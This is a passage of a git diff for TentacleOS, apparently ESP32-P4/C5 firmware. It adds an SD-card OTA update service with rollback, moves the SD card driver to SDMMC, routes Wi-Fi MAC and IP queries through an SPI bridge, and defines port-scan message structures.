!= 0) { + needs_update = true; } + } - // 3. Update if needed - if (needs_update) { - ESP_LOGW(TAG, "C5 update required!"); - c5_flasher_init(); - if (c5_flasher_update(NULL, 0) == ESP_OK) { - ESP_LOGI(TAG, "C5 synchronized successfully."); - } else { - ESP_LOGE(TAG, "C5 synchronization failed."); - return ESP_FAIL; - } + // 3. Update if needed + if (needs_update) { + ESP_LOGW(TAG, "C5 update required!"); + c5_flasher_init(); + if (c5_flasher_update(NULL, 0) == ESP_OK) { + ESP_LOGI(TAG, "C5 synchronized successfully."); } else { - ESP_LOGI(TAG, "C5 is up to date."); + ESP_LOGE(TAG, "C5 synchronization failed."); + return ESP_FAIL; } + } else { + ESP_LOGI(TAG, "C5 is up to date."); + } - return ESP_OK; + return ESP_OK; } esp_err_t bridge_manager_force_update(void) { - c5_flasher_init(); - return c5_flasher_update(NULL, 0); + c5_flasher_init(); + return c5_flasher_update(NULL, 0); } diff --git a/firmware_p4/components/Service/c5_flasher/c5_flasher.c b/firmware_p4/components/Service/c5_flasher/c5_flasher.c index e2f18d86..25eac6ce 100644 --- a/firmware_p4/components/Service/c5_flasher/c5_flasher.c +++ b/firmware_p4/components/Service/c5_flasher/c5_flasher.c @@ -12,8 +12,8 @@ static const char *TAG = "C5_FLASHER"; #define FLASH_BLOCK_SIZE 1024 // Access to embedded binary symbols -extern const uint8_t c5_firmware_bin_start[] asm("_binary_firmware_c5_bin_start"); -extern const uint8_t c5_firmware_bin_end[] asm("_binary_firmware_c5_bin_end"); +extern const uint8_t c5_firmware_bin_start[] asm("_binary_TentacleOS_C5_bin_start"); +extern const uint8_t c5_firmware_bin_end[] asm("_binary_TentacleOS_C5_bin_end"); // ESP Serial Protocol Constants #define ESP_ROM_BAUD 115200 diff --git a/firmware_p4/components/Service/console/commands/cmd_system.c b/firmware_p4/components/Service/console/commands/cmd_system.c index 488ab151..e830ae73 100644 --- a/firmware_p4/components/Service/console/commands/cmd_system.c +++ b/firmware_p4/components/Service/console/commands/cmd_system.c @@ -18,12 +18,11 @@ #include "esp_log.h" #include "esp_system.h" #include "esp_heap_caps.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include -#include "esp_wifi.h" -#include "esp_netif.h" -#include "esp_mac.h" static int cmd_free(int argc, char **argv) { printf("Internal RAM:\n"); @@ -42,35 +41,39 @@ static int cmd_restart(int argc, char **argv) { return 0; } -static int cmd_ip(int argc, char **argv) { - esp_netif_t *netif_sta = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); - esp_netif_t *netif_ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); - - if (netif_sta) { - esp_netif_ip_info_t ip_info; - esp_netif_get_ip_info(netif_sta, &ip_info); - printf("STA Interface:\n"); - printf(" IP: " IPSTR "\n", IP2STR(&ip_info.ip)); - printf(" Mask: " IPSTR "\n", IP2STR(&ip_info.netmask)); - printf(" GW: " IPSTR "\n", IP2STR(&ip_info.gw)); - - uint8_t mac[6]; - esp_wifi_get_mac(WIFI_IF_STA, mac); - printf(" MAC: " MACSTR "\n", MAC2STR(mac)); - } +static void print_interface_info(uint8_t iface, const char *name) { + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; - if (netif_ap) { - esp_netif_ip_info_t ip_info; - esp_netif_get_ip_info(netif_ap, &ip_info); - printf("AP Interface:\n"); - printf(" IP: " IPSTR "\n", IP2STR(&ip_info.ip)); - printf(" Mask: " IPSTR "\n", IP2STR(&ip_info.netmask)); - printf(" GW: " IPSTR "\n", IP2STR(&ip_info.gw)); - - uint8_t mac[6]; - esp_wifi_get_mac(WIFI_IF_AP, mac); - printf(" MAC: " MACSTR "\n", MAC2STR(mac)); + esp_err_t ret = spi_bridge_send_command(SPI_ID_WIFI_GET_IP_INFO, + &iface, 1, + &resp_hdr, resp_buf, 2000); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + printf("%s Interface: unavailable\n", name); + return; } + + spi_wifi_ip_info_t *info = (spi_wifi_ip_info_t *)&resp_buf[1]; + + printf("%s Interface:\n", name); + printf(" IP: %u.%u.%u.%u\n", + (unsigned)(info->ip & 0xFF), (unsigned)((info->ip >> 8) & 0xFF), + (unsigned)((info->ip >> 16) & 0xFF), (unsigned)((info->ip >> 24) & 0xFF)); + printf(" Mask: %u.%u.%u.%u\n", + (unsigned)(info->netmask & 0xFF), (unsigned)((info->netmask >> 8) & 0xFF), + (unsigned)((info->netmask >> 16) & 0xFF), (unsigned)((info->netmask >> 24) & 0xFF)); + printf(" GW: %u.%u.%u.%u\n", + (unsigned)(info->gw & 0xFF), (unsigned)((info->gw >> 8) & 0xFF), + (unsigned)((info->gw >> 16) & 0xFF), (unsigned)((info->gw >> 24) & 0xFF)); + printf(" MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", + info->mac[0], info->mac[1], info->mac[2], + info->mac[3], info->mac[4], info->mac[5]); +} + +static int cmd_ip(int argc, char **argv) { + print_interface_info(0, "STA"); + print_interface_info(1, "AP"); return 0; } diff --git a/firmware_p4/components/Service/console/commands/cmd_wifi.c b/firmware_p4/components/Service/console/commands/cmd_wifi.c index 2dbfdd90..ba45c6ad 100644 --- a/firmware_p4/components/Service/console/commands/cmd_wifi.c +++ b/firmware_p4/components/Service/console/commands/cmd_wifi.c @@ -16,8 +16,8 @@ #include "esp_console.h" #include "argtable3/argtable3.h" #include "esp_log.h" -#include "esp_wifi.h" -#include "esp_mac.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include // Service Includes @@ -487,12 +487,22 @@ static int subcmd_status(int argc, char **argv) { const char* conn_ssid = wifi_service_get_connected_ssid(); printf("Connected STA: %s\n", conn_ssid ? conn_ssid : "Disconnected"); - uint8_t mac_sta[6], mac_ap[6]; - esp_wifi_get_mac(WIFI_IF_STA, mac_sta); - esp_wifi_get_mac(WIFI_IF_AP, mac_ap); + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; - printf("MAC STA: " MACSTR "\n", MAC2STR(mac_sta)); - printf("MAC AP: " MACSTR "\n", MAC2STR(mac_ap)); + uint8_t iface_sta = 0; + if (spi_bridge_send_command(SPI_ID_WIFI_GET_MAC, &iface_sta, 1, + &resp_hdr, resp_buf, 2000) == ESP_OK && resp_buf[0] == SPI_STATUS_OK) { + printf("MAC STA: %02x:%02x:%02x:%02x:%02x:%02x\n", + resp_buf[1], resp_buf[2], resp_buf[3], resp_buf[4], resp_buf[5], resp_buf[6]); + } + + uint8_t iface_ap = 1; + if (spi_bridge_send_command(SPI_ID_WIFI_GET_MAC, &iface_ap, 1, + &resp_hdr, resp_buf, 2000) == ESP_OK && resp_buf[0] == SPI_STATUS_OK) { + printf("MAC AP: %02x:%02x:%02x:%02x:%02x:%02x\n", + resp_buf[1], resp_buf[2], resp_buf[3], resp_buf[4], resp_buf[5], resp_buf[6]); + } printf("--- Applications ---\n"); printf("Beacon Spam: %s\n", beacon_spam_is_running() ? "RUNNING" : "Stopped"); diff --git a/firmware_p4/components/Service/ota/README.md b/firmware_p4/components/Service/ota/README.md new file mode 100644 index 00000000..6528f03c --- /dev/null +++ b/firmware_p4/components/Service/ota/README.md @@ -0,0 +1,86 @@ +# OTA Update Service + +Handles firmware updates for TentacleOS via MicroSD card. Uses A/B OTA partitions with automatic rollback and dual-chip synchronization (ESP32-P4 + ESP32-C5). + +## How It Works + +The C5 firmware is embedded inside the P4 binary at build time. A single `.bin` file updates both chips. + +### Update Flow + +1. Place firmware at `/sdcard/update/tentacleos.bin` +2. Trigger `ota_start_update()` from UI or console +3. P4 validates the file and writes it to the inactive OTA partition +4. P4 reboots into new firmware +5. On boot, `ota_post_boot_check()` verifies the C5 is in sync +6. If C5 version differs, `c5_flasher` updates it via UART +7. If everything is OK, the update is confirmed +8. If anything fails, the bootloader rolls back automatically + +### Rollback + +The system uses two app partitions (`ota_0` / `ota_1`). After OTA, the new firmware must call `esp_ota_mark_app_valid_cancel_rollback()` to confirm. If it doesn't (crash, C5 flash failure, etc.), the bootloader reverts to the previous partition on the next reboot. + +Scenarios: +- **P4 crashes before confirmation** — automatic rollback to previous firmware +- **C5 flash fails** — P4 does not confirm, rollback restores both chips +- **C5 flash interrupted (power loss)** — C5 ROM bootloader is always accessible, P4 re-flashes on next boot +- **Rollback after C5 was already updated** — rolled-back P4 contains old C5 binary, version mismatch triggers re-flash + +### Partition Table + +| Name | Type | Size | +|---|---|---| +| ota_0 | app | 4MB | +| ota_1 | app | 4MB | +| otadata | data | 8K | + +### Versioning + +Version is read from `assets/config/OTA/firmware.json`. Both P4 and C5 share the same version string. The C5 responds its version via `SPI_ID_SYSTEM_VERSION` (0x04). + +## API + +```c +bool ota_update_available(void); +esp_err_t ota_start_update(ota_progress_cb_t progress_cb); +esp_err_t ota_post_boot_check(void); +const char* ota_get_current_version(void); +ota_state_t ota_get_state(void); +``` + +### Progress Callback + +```c +void on_progress(int percent, const char *message) { + // 0-5%: Validating + // 5-90%: Writing to flash + // 90-95%: Finalizing + // 95%: Rebooting +} + +ota_start_update(on_progress); +``` + +### Post Boot Check + +Must be called early in `main.c` before `kernel_init()`: + +```c +ota_post_boot_check(); +``` + +## sdkconfig + +Required: +``` +CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y +``` + +## Dependencies + +- `app_update` (esp_ota_ops) +- `bridge_manager` (C5 version check and flash) +- `storage_assets` (firmware.json) +- `sd_card_init` (SD mount status) +- `cJSON` (JSON parsing) diff --git a/firmware_c5/components/Drivers/tusb_desc/include/tusb_desc.h b/firmware_p4/components/Service/ota/include/ota_service.h similarity index 50% rename from firmware_c5/components/Drivers/tusb_desc/include/tusb_desc.h rename to firmware_p4/components/Service/ota/include/ota_service.h index 58536288..feb5205d 100644 --- a/firmware_c5/components/Drivers/tusb_desc/include/tusb_desc.h +++ b/firmware_p4/components/Service/ota/include/ota_service.h @@ -12,18 +12,28 @@ // See the License for the specific language governing permissions and // limitations under the License. +#ifndef OTA_SERVICE_H +#define OTA_SERVICE_H -#ifndef TUSB_DESC_H -#define TUSB_DESC_H +#include "esp_err.h" +#include +#define OTA_UPDATE_PATH "/sdcard/update/tentacleos.bin" -#include "tinyusb.h" -// --- Constantes Públicas --- -// Define um nome para a nossa única interface HID (Teclado) -#define ITF_NUM_HID 0 +typedef enum { + OTA_STATE_IDLE, + OTA_STATE_VALIDATING, + OTA_STATE_WRITING, + OTA_STATE_REBOOTING, + OTA_STATE_ERROR, +} ota_state_t; -// --- Declarações Externas --- -// Informa a outros arquivos que essas variáveis existem em algum lugar (no tusb_desc.c) -void busb_init(void); +typedef void (*ota_progress_cb_t)(int percent, const char *message); -#endif // TUSB_DESC_H +bool ota_update_available(void); +esp_err_t ota_start_update(ota_progress_cb_t progress_cb); +esp_err_t ota_post_boot_check(void); +const char* ota_get_current_version(void); +ota_state_t ota_get_state(void); + +#endif // OTA_SERVICE_H diff --git a/firmware_p4/components/Service/ota/ota_service.c b/firmware_p4/components/Service/ota/ota_service.c new file mode 100644 index 00000000..b6fc3c1c --- /dev/null +++ b/firmware_p4/components/Service/ota/ota_service.c @@ -0,0 +1,269 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +#include "ota_service.h" +#include "bridge_manager.h" +#include "storage_assets.h" +#include "sd_card_init.h" +#include "esp_ota_ops.h" +#include "esp_app_format.h" +#include "esp_log.h" +#include "esp_system.h" +#include "cJSON.h" +#include +#include +#include + +static const char *TAG = "OTA_SERVICE"; + +#define OTA_CHUNK_SIZE 4096 +#define VERSION_JSON_PATH "config/OTA/firmware.json" + +static ota_state_t s_state = OTA_STATE_IDLE; +static char s_current_version[32] = "unknown"; + +static void load_version_from_assets(void) { + size_t size; + uint8_t *json_data = storage_assets_load_file(VERSION_JSON_PATH, &size); + if (json_data == NULL) { + ESP_LOGW(TAG, "Could not read firmware.json from assets"); + return; + } + + cJSON *root = cJSON_ParseWithLength((const char *)json_data, size); + free(json_data); + + if (root == NULL) { + ESP_LOGE(TAG, "Failed to parse firmware.json"); + return; + } + + cJSON *version = cJSON_GetObjectItem(root, "version"); + if (cJSON_IsString(version) && version->valuestring != NULL) { + strncpy(s_current_version, version->valuestring, sizeof(s_current_version) - 1); + s_current_version[sizeof(s_current_version) - 1] = '\0'; + ESP_LOGI(TAG, "Current firmware version: %s", s_current_version); + } + + cJSON_Delete(root); +} + +const char* ota_get_current_version(void) { + if (strcmp(s_current_version, "unknown") == 0) { + load_version_from_assets(); + } + return s_current_version; +} + +ota_state_t ota_get_state(void) { + return s_state; +} + +bool ota_update_available(void) { + if (!sd_is_mounted()) { + return false; + } + + struct stat st; + return (stat(OTA_UPDATE_PATH, &st) == 0 && st.st_size > 0); +} + +esp_err_t ota_start_update(ota_progress_cb_t progress_cb) { + if (!ota_update_available()) { + ESP_LOGE(TAG, "No update file found at %s", OTA_UPDATE_PATH); + return ESP_ERR_NOT_FOUND; + } + + // Open update file + FILE *f = fopen(OTA_UPDATE_PATH, "rb"); + if (f == NULL) { + ESP_LOGE(TAG, "Failed to open update file"); + return ESP_FAIL; + } + + // Get file size + fseek(f, 0, SEEK_END); + long file_size = ftell(f); + fseek(f, 0, SEEK_SET); + + if (file_size <= 0) { + ESP_LOGE(TAG, "Invalid update file size"); + fclose(f); + return ESP_ERR_INVALID_SIZE; + } + + ESP_LOGI(TAG, "Update file size: %ld bytes", file_size); + + // Validate: check it fits in the OTA partition + s_state = OTA_STATE_VALIDATING; + if (progress_cb) progress_cb(0, "Validating update file..."); + + const esp_partition_t *update_partition = esp_ota_get_next_update_partition(NULL); + if (update_partition == NULL) { + ESP_LOGE(TAG, "No OTA partition available"); + fclose(f); + s_state = OTA_STATE_ERROR; + return ESP_ERR_NOT_FOUND; + } + + if (file_size > update_partition->size) { + ESP_LOGE(TAG, "Update file (%ld) exceeds partition size (%ld)", + file_size, (long)update_partition->size); + fclose(f); + s_state = OTA_STATE_ERROR; + return ESP_ERR_INVALID_SIZE; + } + + ESP_LOGI(TAG, "Writing to partition '%s' at offset 0x%lx", + update_partition->label, (long)update_partition->address); + + // Begin OTA + s_state = OTA_STATE_WRITING; + if (progress_cb) progress_cb(5, "Starting OTA write..."); + + esp_ota_handle_t ota_handle; + esp_err_t ret = esp_ota_begin(update_partition, OTA_WITH_SEQUENTIAL_WRITES, &ota_handle); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_begin failed: %s", esp_err_to_name(ret)); + fclose(f); + s_state = OTA_STATE_ERROR; + return ret; + } + + // Write in chunks + uint8_t *buffer = malloc(OTA_CHUNK_SIZE); + if (buffer == NULL) { + ESP_LOGE(TAG, "Failed to allocate read buffer"); + esp_ota_abort(ota_handle); + fclose(f); + s_state = OTA_STATE_ERROR; + return ESP_ERR_NO_MEM; + } + + long bytes_written = 0; + int last_percent = 0; + + while (bytes_written < file_size) { + size_t to_read = (file_size - bytes_written > OTA_CHUNK_SIZE) + ? OTA_CHUNK_SIZE + : (size_t)(file_size - bytes_written); + + size_t bytes_read = fread(buffer, 1, to_read, f); + if (bytes_read == 0) { + ESP_LOGE(TAG, "Failed to read from update file"); + free(buffer); + esp_ota_abort(ota_handle); + fclose(f); + s_state = OTA_STATE_ERROR; + return ESP_FAIL; + } + + ret = esp_ota_write(ota_handle, buffer, bytes_read); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_write failed: %s", esp_err_to_name(ret)); + free(buffer); + esp_ota_abort(ota_handle); + fclose(f); + s_state = OTA_STATE_ERROR; + return ret; + } + + bytes_written += bytes_read; + + // Report progress (5% to 90% range for the write phase) + int percent = 5 + (int)((bytes_written * 85) / file_size); + if (percent != last_percent) { + last_percent = percent; + if (progress_cb) { + char msg[48]; + snprintf(msg, sizeof(msg), "Writing: %ld / %ld bytes", bytes_written, file_size); + progress_cb(percent, msg); + } + } + } + + free(buffer); + fclose(f); + + ESP_LOGI(TAG, "OTA write complete (%ld bytes)", bytes_written); + + // Finalize OTA + if (progress_cb) progress_cb(92, "Finalizing update..."); + + ret = esp_ota_end(ota_handle); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_end failed: %s", esp_err_to_name(ret)); + s_state = OTA_STATE_ERROR; + return ret; + } + + // Set boot partition + ret = esp_ota_set_boot_partition(update_partition); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_set_boot_partition failed: %s", esp_err_to_name(ret)); + s_state = OTA_STATE_ERROR; + return ret; + } + + if (progress_cb) progress_cb(95, "Update complete. Rebooting..."); + + ESP_LOGI(TAG, "OTA successful. Rebooting into new firmware..."); + s_state = OTA_STATE_REBOOTING; + + // Remove update file so we don't re-apply on next boot + remove(OTA_UPDATE_PATH); + + esp_restart(); + + // Never reached + return ESP_OK; +} + +esp_err_t ota_post_boot_check(void) { + const esp_partition_t *running = esp_ota_get_running_partition(); + if (running == NULL) { + ESP_LOGE(TAG, "Could not determine running partition"); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "Running from partition: %s (addr=0x%lx)", + running->label, (long)running->address); + + // Load version info + load_version_from_assets(); + + // Check if this is a pending OTA that needs confirmation + esp_ota_img_states_t ota_state; + esp_err_t ret = esp_ota_get_state_partition(running, &ota_state); + + if (ret == ESP_OK && ota_state == ESP_OTA_IMG_PENDING_VERIFY) { + ESP_LOGW(TAG, "New firmware pending verification..."); + + // Sync C5 firmware — bridge_manager handles version check + flash + ret = bridge_manager_init(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "C5 sync failed. Rolling back on next reboot."); + // Do NOT confirm — bootloader will rollback automatically + return ESP_FAIL; + } + + // Everything OK — confirm the update + esp_ota_mark_app_valid_cancel_rollback(); + ESP_LOGI(TAG, "Firmware update confirmed. Version: %s", s_current_version); + } else { + ESP_LOGI(TAG, "Normal boot (no pending OTA verification)"); + } + + return ESP_OK; +} diff --git a/firmware_p4/components/Service/sd_card/include/sd_card_init.h b/firmware_p4/components/Service/sd_card/include/sd_card_init.h index 4568f74c..914218b3 100644 --- a/firmware_p4/components/Service/sd_card/include/sd_card_init.h +++ b/firmware_p4/components/Service/sd_card/include/sd_card_init.h @@ -1,6 +1,6 @@ /** * @file sd_card_init.h - * @brief Funções de inicialização e controle do cartão SD + * @brief SD card initialization and control functions (SDMMC) */ #ifndef SD_CARD_INIT_H @@ -13,68 +13,45 @@ extern "C" { #endif -/* Configurações de pinos */ -#define SD_PIN_MOSI 11 -#define SD_PIN_MISO 13 -#define SD_PIN_CLK 12 -#define SD_PIN_CS 14 - -/* Configurações gerais */ #define SD_MOUNT_POINT "/sdcard" #define SD_MAX_FILES 10 #define SD_ALLOCATION_UNIT (16 * 1024) /** - * @brief Inicializa o cartão SD com configuração padrão - * @return ESP_OK em caso de sucesso + * @brief Initialize SD card with default config (SDMMC 4-bit) + * @return ESP_OK on success */ esp_err_t sd_init(void); /** - * @brief Inicializa com configuração customizada - * @param max_files Número máximo de arquivos abertos - * @param format_if_failed Se deve formatar em caso de falha - * @return ESP_OK em caso de sucesso + * @brief Initialize with custom config + * @param max_files Maximum number of open files + * @param format_if_failed Whether to format on mount failure + * @return ESP_OK on success */ esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed); /** - * @brief Inicializa com pinos customizados - * @param mosi Pino MOSI - * @param miso Pino MISO - * @param clk Pino CLK - * @param cs Pino CS - * @return ESP_OK em caso de sucesso - */ -esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs); - -/** - * @brief Desmonta o cartão SD - * @return ESP_OK em caso de sucesso + * @brief Unmount the SD card + * @return ESP_OK on success */ esp_err_t sd_deinit(void); /** - * @brief Verifica se está montado - * @return true se montado + * @brief Check if mounted + * @return true if mounted */ bool sd_is_mounted(void); /** - * @brief Remonta o cartão - * @return ESP_OK em caso de sucesso + * @brief Remount the card + * @return ESP_OK on success */ esp_err_t sd_remount(void); /** - * @brief Reseta o barramento SPI - * @return ESP_OK em caso de sucesso - */ -esp_err_t sd_reset_bus(void); - -/** - * @brief Verifica saúde da conexão - * @return ESP_OK se saudável + * @brief Check connection health + * @return ESP_OK if healthy */ esp_err_t sd_check_health(void); @@ -82,4 +59,4 @@ esp_err_t sd_check_health(void); } #endif -#endif /* SD_CARD_INIT_H */ \ No newline at end of file +#endif /* SD_CARD_INIT_H */ diff --git a/firmware_p4/components/Service/sd_card/sd_card_init.c b/firmware_p4/components/Service/sd_card/sd_card_init.c index ad2fe627..383fbe75 100644 --- a/firmware_p4/components/Service/sd_card/sd_card_init.c +++ b/firmware_p4/components/Service/sd_card/sd_card_init.c @@ -14,11 +14,11 @@ #include "sd_card_init.h" -#include "spi.h" #include "pin_def.h" #include "esp_log.h" #include "esp_vfs_fat.h" -#include "driver/sdspi_host.h" +#include "driver/sdmmc_host.h" +#include "driver/sdmmc_defs.h" #include "sdmmc_cmd.h" static const char *TAG = "sd_init"; @@ -33,75 +33,68 @@ esp_err_t sd_init(void) esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed) { if (s_is_mounted) { - ESP_LOGW(TAG, "SD já montado"); + ESP_LOGW(TAG, "SD already mounted"); return ESP_OK; } - spi_device_config_t sd_cfg = { - .cs_pin = SD_CARD_CS_PIN, - .clock_speed_hz = SDMMC_FREQ_DEFAULT * 1000, - .mode = 0, - .queue_size = 4, - }; - - esp_err_t ret = spi_add_device(SPI3_HOST, SPI_DEVICE_SD_CARD, &sd_cfg); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Falha ao adicionar SD no SPI: %s", esp_err_to_name(ret)); - return ret; - } + ESP_LOGI(TAG, "Initializing SD (SDMMC 4-bit)..."); + + sdmmc_host_t host = SDMMC_HOST_DEFAULT(); + host.max_freq_khz = SDMMC_FREQ_HIGHSPEED; + + sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT(); + slot_config.width = 4; + slot_config.clk = SDMMC_CLK_PIN; + slot_config.cmd = SDMMC_CMD_PIN; + slot_config.d0 = SDMMC_D0_PIN; + slot_config.d1 = SDMMC_D1_PIN; + slot_config.d2 = SDMMC_D2_PIN; + slot_config.d3 = SDMMC_D3_PIN; + slot_config.flags |= SDMMC_SLOT_FLAG_INTERNAL_PULLUP; esp_vfs_fat_sdmmc_mount_config_t mount_config = { .format_if_mount_failed = format_if_failed, .max_files = max_files, - .allocation_unit_size = SD_ALLOCATION_UNIT + .allocation_unit_size = SD_ALLOCATION_UNIT, }; - - ESP_LOGI(TAG, "Inicializando SD..."); - - sdmmc_host_t host = SDSPI_HOST_DEFAULT(); - host.max_freq_khz = SDMMC_FREQ_DEFAULT; - host.slot = SPI3_HOST; - - sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT(); - slot_config.gpio_cs = SD_CARD_CS_PIN; - slot_config.host_id = host.slot; - - ret = esp_vfs_fat_sdspi_mount(SD_MOUNT_POINT, &host, &slot_config, - &mount_config, &s_card); + + esp_err_t ret = esp_vfs_fat_sdmmc_mount( + SD_MOUNT_POINT, + &host, + &slot_config, + &mount_config, + &s_card + ); + if (ret != ESP_OK) { - ESP_LOGE(TAG, "Erro mount: %s", esp_err_to_name(ret)); + ESP_LOGE(TAG, "Mount failed: %s", esp_err_to_name(ret)); return ret; } - + s_is_mounted = true; - ESP_LOGI(TAG, "SD montado com sucesso!"); + ESP_LOGI(TAG, "SD mounted (SDMMC): %s, %llu MB", + s_card->cid.name, + ((uint64_t)s_card->csd.capacity) * s_card->csd.sector_size / (1024 * 1024)); return ESP_OK; } -esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs) -{ - ESP_LOGW(TAG, "Pinos customizados não suportados com driver SPI centralizado"); - ESP_LOGW(TAG, "Usando pinos padrão definidos em pin_def.h"); - return sd_init(); -} - esp_err_t sd_deinit(void) { if (!s_is_mounted) { - ESP_LOGW(TAG, "SD não está montado"); + ESP_LOGW(TAG, "SD not mounted"); return ESP_ERR_INVALID_STATE; } - + esp_err_t ret = esp_vfs_fat_sdcard_unmount(SD_MOUNT_POINT, s_card); if (ret != ESP_OK) { - ESP_LOGE(TAG, "Erro unmount: %s", esp_err_to_name(ret)); + ESP_LOGE(TAG, "Unmount failed: %s", esp_err_to_name(ret)); return ret; } - + s_is_mounted = false; s_card = NULL; - - ESP_LOGI(TAG, "SD desmontado"); + + ESP_LOGI(TAG, "SD unmounted"); return ESP_OK; } @@ -119,24 +112,17 @@ esp_err_t sd_remount(void) return sd_init(); } -esp_err_t sd_reset_bus(void) -{ - ESP_LOGW(TAG, "Reset de barramento não suportado com driver SPI compartilhado"); - ESP_LOGI(TAG, "Use sd_remount() para remontar o cartão"); - return ESP_ERR_NOT_SUPPORTED; -} - esp_err_t sd_check_health(void) { if (!s_is_mounted) { - ESP_LOGE(TAG, "SD não montado"); + ESP_LOGE(TAG, "SD not mounted"); return ESP_ERR_INVALID_STATE; } if (s_card == NULL) { - ESP_LOGE(TAG, "Ponteiro do cartão nulo"); + ESP_LOGE(TAG, "Card pointer is null"); return ESP_FAIL; } - ESP_LOGI(TAG, "Cartão saudável"); + ESP_LOGI(TAG, "Card healthy"); return ESP_OK; } diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index 353affa0..865c8ded 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -94,6 +94,13 @@ typedef enum { SPI_ID_WIFI_CLIENT_SAVE_SD = 0x46, SPI_ID_WIFI_AP_SAVE_FLASH = 0x47, SPI_ID_WIFI_AP_SAVE_SD = 0x48, + SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE = 0x49, + SPI_ID_WIFI_PORT_SCAN_TARGET_LIST = 0x4A, + SPI_ID_WIFI_PORT_SCAN_NETWORK = 0x4B, + SPI_ID_WIFI_PORT_SCAN_CIDR = 0x4C, + SPI_ID_WIFI_PORT_SCAN_STOP = 0x4D, + SPI_ID_WIFI_GET_MAC = 0x4E, + SPI_ID_WIFI_GET_IP_INFO = 0x4F, // Bluetooth Basic (0x50 - 0x5F) SPI_ID_BT_SCAN = 0x50, @@ -217,4 +224,56 @@ typedef struct { uint8_t data[31]; } __attribute__((packed)) spi_ble_sniffer_frame_t; +// WiFi MAC response: interface(1) + mac[6] +// WiFi IP info response +typedef struct { + uint8_t interface; // 0 = STA, 1 = AP + uint8_t mac[6]; + uint32_t ip; + uint32_t netmask; + uint32_t gw; +} __attribute__((packed)) spi_wifi_ip_info_t; + +// Port scan request: target + port range (24 bytes) +typedef struct { + char ip[16]; + uint16_t start_port; + uint16_t end_port; + uint16_t max_results; + uint8_t reserved[2]; +} __attribute__((packed)) spi_port_scan_range_req_t; + +// Port scan request: target + port list (payload: ip[16] + count(2) + ports(2*N)) +// Sent as raw payload due to variable length + +// Port scan request: network range (28 bytes) +typedef struct { + char start_ip[16]; + char end_ip[16]; + uint16_t start_port; + uint16_t end_port; + uint16_t max_results; + uint8_t scan_type; // 0 = port range, 1 = port list + uint8_t reserved; +} __attribute__((packed)) spi_port_scan_network_req_t; + +// Port scan request: CIDR (28 bytes) +typedef struct { + char base_ip[16]; + uint8_t cidr; + uint8_t scan_type; // 0 = port range, 1 = port list + uint16_t start_port; + uint16_t end_port; + uint16_t max_results; +} __attribute__((packed)) spi_port_scan_cidr_req_t; + +// Port scan result record (84 bytes) +typedef struct { + char ip_str[16]; + uint16_t port; + uint8_t protocol; // 0 = TCP, 1 = UDP + uint8_t status; // 0 = OPEN, 1 = OPEN_FILTERED + char banner[64]; +} __attribute__((packed)) spi_port_scan_result_t; + #endif // SPI_PROTOCOL_H diff --git a/firmware_p4/components/Service/storage_vfs/vfs_sdcard.c b/firmware_p4/components/Service/storage_vfs/vfs_sdcard.c index d38aaccf..4b5ac717 100644 --- a/firmware_p4/components/Service/storage_vfs/vfs_sdcard.c +++ b/firmware_p4/components/Service/storage_vfs/vfs_sdcard.c @@ -15,11 +15,9 @@ #include "vfs_core.h" #include "vfs_config.h" #include "pin_def.h" -#include "spi.h" #include "esp_vfs_fat.h" #include "sdmmc_cmd.h" -#include "driver/sdspi_host.h" -#include "driver/spi_common.h" +#include "driver/sdmmc_host.h" #include "driver/sdmmc_defs.h" #include "esp_log.h" #include "freertos/FreeRTOS.h" @@ -37,365 +35,339 @@ static const char *TAG = "vfs_sdcard"; static struct { - bool mounted; - sdmmc_card_t *card; - bool we_initialized_bus; + bool mounted; + sdmmc_card_t *card; } s_sdcard = {0}; +/* ============================================================================ + * VFS WRAPPERS + * ============================================================================ */ + static vfs_fd_t sdcard_open(const char *path, int flags, int mode) { - int fd = open(path, flags, mode); - if (fd < 0) { - ESP_LOGE(TAG, "open failed: %s", path); - } - return fd; + int fd = open(path, flags, mode); + if (fd < 0) { + ESP_LOGE(TAG, "open failed: %s", path); + } + return fd; } static ssize_t sdcard_read(vfs_fd_t fd, void *buf, size_t size) { - return read(fd, buf, size); + return read(fd, buf, size); } static ssize_t sdcard_write(vfs_fd_t fd, const void *buf, size_t size) { - return write(fd, buf, size); + return write(fd, buf, size); } static off_t sdcard_lseek(vfs_fd_t fd, off_t offset, int whence) { - return lseek(fd, offset, whence); + return lseek(fd, offset, whence); } static esp_err_t sdcard_close(vfs_fd_t fd) { - return (close(fd) == 0) ? ESP_OK : 